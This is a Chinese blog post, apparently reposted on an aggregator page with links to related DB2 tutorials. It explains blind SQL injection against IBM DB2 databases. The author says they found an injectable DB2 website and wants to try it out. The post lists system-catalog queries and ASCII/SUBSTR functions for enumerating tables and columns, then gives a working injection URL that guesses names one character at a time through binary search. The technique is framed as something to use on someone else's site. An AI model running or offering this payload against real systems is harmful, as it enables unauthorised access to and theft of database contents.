Sql Injection in DB2数据库

使用DB2的人比较少了,今天碰到了一个可供注入的DB2网站,想试试身手。不过在网上很难找到相关的资料,只好自己研究了。

参考了IBM DB2的文档,总结了这样几条:

1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER

可以返回系统中所有用户创建的表(table)名

2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '' and TBNAME=''

返回表中的列名

3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY

这是最关键的地方,返回第一条记录,类似于sql server中的top 1

4、SUBSTR(string, position, length)

返回字符串子串的函数,类似于mid

5、ASCII()这个就不用多说了。

有了这些语句和函数,我们就可以很方便的用ascii拆半法猜出所有的table名,字段名,以及其中的数据了。

例如判断第一个table的名称的第一个字符的ascii码是否大于50:

http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 --

http://blog.waynedeng.com/blogview.asp?logID=543

(0)

相关推荐

  • DB2数据库的安装

    正在看的db2教程是:DB2数据库的安装.这是在IBM RS6000 操作系统为AIX安装的,HP9000上雷同 1. 注册为具有超级用户权限的用户(root)  2. 将 标有"DB2通用数据库企业版"的软件光盘插入驱动器  3. 输入如下命令,以创建一个目录来安装该 CD-ROM:   # mkdir -p /cdrom 其中 cdrom 表示 CD-ROM 安装目录.  输入如下命令,来分配 CD-ROM 文件系统:  # smitty storage  4. 选择文件系统  5

  • C#连接db2数据库的实现方法

    通过OLE DB for DB2驱动 复制代码 代码如下: string strSql = @"select phone_no from no_store where id<5";            string strConn = "Provider=IBMDADB2;Data Source=数据库名;UID=用户名;PWD=密码;";            using (OleDbConnection conn = new OleDbConnectio

  • JSP如何连接DB2数据库

    正在看的db2教程是:JSP如何连接DB2数据库.JSP与DB2数据库连结的问题网上有很多资料,但笔者发现大部分资料均有误,无法真正处理与DB2连结的问题,笔者经过研究解决了这个问题,现将我的一点心得发表出来,与君共享. <%@ page session="false" %><%@ page import="java.sql.*"%><%@ page import="java.util.*"%> <htm

  • DB2 数据库创建、表的ixf文件导出导入示例

    1.创建数据库 [db2inst1@localhost ~]$ db2set db2codepage=1208 #设置编码 [db2inst1@localhost ~]$ db2 create database wms automatic storage yes using codeset UTF-8territory cn pagesize 32768 #创建wms数据库 //指定db2数据库安装目录 db2 create db xxdb on /app/dbdata using CODEPA

  • db2数据库常用操作命令大全

    本文详细汇总了DB2的常用操作命令,分享给大家.对于使用db2的朋友可以参考下. DB2数据库管理客户端从v9.7版本之后就不再带有控制中心了,而是使用 Data Studio Client.安装 DB2 数据库产品期间不会应用许可证密钥.但是,下列产品没有激活 CD,因此会在安装这些产品的过程中自动应用其许可证:DB2 Express-C 和 DB2 Connect 个人版.此外,DB2 个人版也是一个特殊案例.虽然 DB2 个人版具有激活 CD,但是会在安装该产品的过程中自动应用其许可证.

  • DB2新手使用的一些小笔记:新建实例、数据库路径不存在、客户端连接 .

    首先,是添加数据库实例: DB2的实例之间是相互独立的,实例可以被看作是数据库的容器.而默认DB2装好后会自己建一个名为DB2的实例.我们这里需要新建一个,命令这样敲: 在db2的命令行工具里面打开命令行,然后输入: 复制代码 代码如下: db2icrt INSTNAME 它这个实例名还挺恶心的,必须是小于8个字符的名字. 再用命令行创建好以后才能用那个控制中心的添加实例的功能来添加刚才创建的实例.其实这个添加只是把已有的实例添加到GUI的控制中心里,而不是创建实例....所以,必须注意的是,在

  • 创建一个空的IBM DB2 ECO数据库的方法

    问:怎样才能创建一个空的 IBM DB2 ECO数据库? 答:一般情况下你需要一个空数据库作为存储 EcoSpace 的容器.Delphi 2005 提供了一张光盘,其中包括 IBM DB2 UDB 开发人员版.您可以使用 Control Center(可在 IBM DB2 General Administrator Tool 中找到).在 Control Center 中,可以使用树型视图来查看系统.DB2 实例和数据库.使用向导创建一个新的数据库,这将为您提供一个分为 7 步的向导,在那里只

  • DB2数据库的备份和恢复

    正在看的db2教程是:DB2数据库的备份和恢复.最近,我恢复了一个数据库.其中的辛苦不予言表,我想写出自己用到的一些语句,和遇到相同问题的xdjm共勉. 首先谈db2数据库的备份,我用的是backup命令. db2 backup database 数据库名(我的库是jsdb) 忘了说了,在backup之前需要停止你要备份的数据库,我用了db2stop force(之所以用force参数是因为这样好停懒省事:)和db2start.这样就保证可以成功backup了. 备份完成后db2会告诉你一个时间

  • 常见数据库系统比较 DB2数据库

    正在看的db2教程是:常见数据库系统比较 DB2数据库. DB2是IBM公司的产品,起源于System R和System R*.他支持从PC到UNIX,从中小型机到大型机:从IBM到非IBM(HP及SUN UNIX系统等)各种操作平台.他既可以在主机上以主/从方式独立运行,也可以在客户/服务器环境中运行.其中服务平台可以是OS/400,AIX,OS/2,HP-UNIX,SUN-Solaris等操作系统,客户机平台可以是OS/2或Windows, Dos, AIX, HP-UX, SUN Sola

  • 比较SQL Server与Oracle、DB2数据库的一些知识

    开放性 SQL Server 只能在Windows 上运行,没有丝毫的开放性,操作系统的系统的稳定对数据库是十分重要的.Windows9X系列产品是偏重于桌面应用,NT server只适合中小型企业.而且Windows平台的可靠性,安全性和伸缩性是非常有限的.它不象Unix那样久经考验,尤其是在处理大数据量的关键业务时. Oracle 能在所有主流平台上运行(包括 Windows).完全支持所有的工业标准.采用完全开放策略.可以使客户选择最适合的解决方案.对开发商全力支持. DB2 能在所有主流

随机推荐